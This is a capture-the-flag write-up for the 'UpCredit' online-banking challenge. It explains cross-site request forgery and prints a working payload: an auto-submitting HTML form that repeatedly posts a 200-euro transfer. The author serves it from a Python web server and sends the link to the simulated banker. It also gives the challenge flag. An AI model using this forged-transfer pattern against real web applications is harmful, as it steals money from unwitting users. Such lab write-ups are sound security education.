Writeup DGA - CTF - UpCredit

This article describes my solution for the 100-point challenge called “UpCredit”.

Introduction

En tant qu’ingénieur expert en recherche de vulnérabilité nouvellement embauché à DGA MI, vous décidez de changer de banque.

La banque UpCredit est une banque 100% en ligne. Vous pouvez vous inscrire et gérer immédiatement votre compte !

Pour obtenir le flag, vous devrez dépenser 200 euros. Vous pouvez contacter votre conseiller à tout moment pour qu'il vous aide.

Start

We have at our disposal an online banking. It is necessary to be registered and logged in to manage our account.

Once logged in, we see that we have to spend 200 euros to buy the flag. We also have 3 tabs, the first one displays the activity of our account, for the moment empty. The second one displays the account number and a form to send money and the last one allows you to communicate with your banker.

I first tried to send money to myself to see the parameters sent. Here they are.

account: aOSvPam7u
amout: 200

We quickly realize one thing: a crucial authentication component is not sent: a CSRF token.

Cross-Site Request Forgery (CSRF)

A CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

Since we can send a message to our banker, it seems pretty obvious to ask him to transfer us 200 euros.

The first thing to do is to retrieve the HTML code from the money sending form and modify it to suit our needs. Below you will find the modified HTML code, I will explain everything after.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Give me money please</title>
</head>
<body onload="sendMoney()">

<form id="money" action="http://upcredit4.chall.malicecyber.com/transfer" method="post">
    <div>
        <div>
            <input type="text" class="form-control" id="account" placeholder="Account number" name="account"
                   value="aOSvPam7u">
        </div>
        <div>
            <input type="number" class="form-control" id="amount" placeholder="Amount" name="amount" value="200">
            <div class="help-block with-errors" style="color: #f00"></div>
        </div>
        <div>
            <button type="submit" id="reg-submit" class="btn btn-md btn-common btn-log">Send</button>
            <div id="msgSubmit" class="h3 text-center hidden">
            </div>
            <div class="clearfix"></div>
        </div>
    </div>
</form>

<script type="text/javascript">
    function sendMoney() {
        document.getElementById('money').submit();
        setTimeout(sendMoney, 3000);
    }
</script>
</body>
</html>

As you can see, as soon as the <body> HTML element is fully loaded, I run the sendMoney() function which has the effect of submitting the form that has the money identifier: id="Money". This form hits the /transfer route with POST method and sends the parameters entered in the HTML fields.

Since I want the banker to send me money, I specified my account number in the value attribute of the Account number field and the value 200 in the value attribute of the Amount field.

I have a GNU/Linux server with a public IP address, so I was able to start a temporary web server with Python.

python -m http.server 4444

Since my file is called index.html, as soon as my IP address on port 4444 will be visited, the code will run.

My payload is therefore located at http://<IP>:4444. After sending this link to the banker, a few seconds later, I find 200 euros on my account. So I was able to buy the flag which was the following: W1nG4rD1um\L3v1os444!.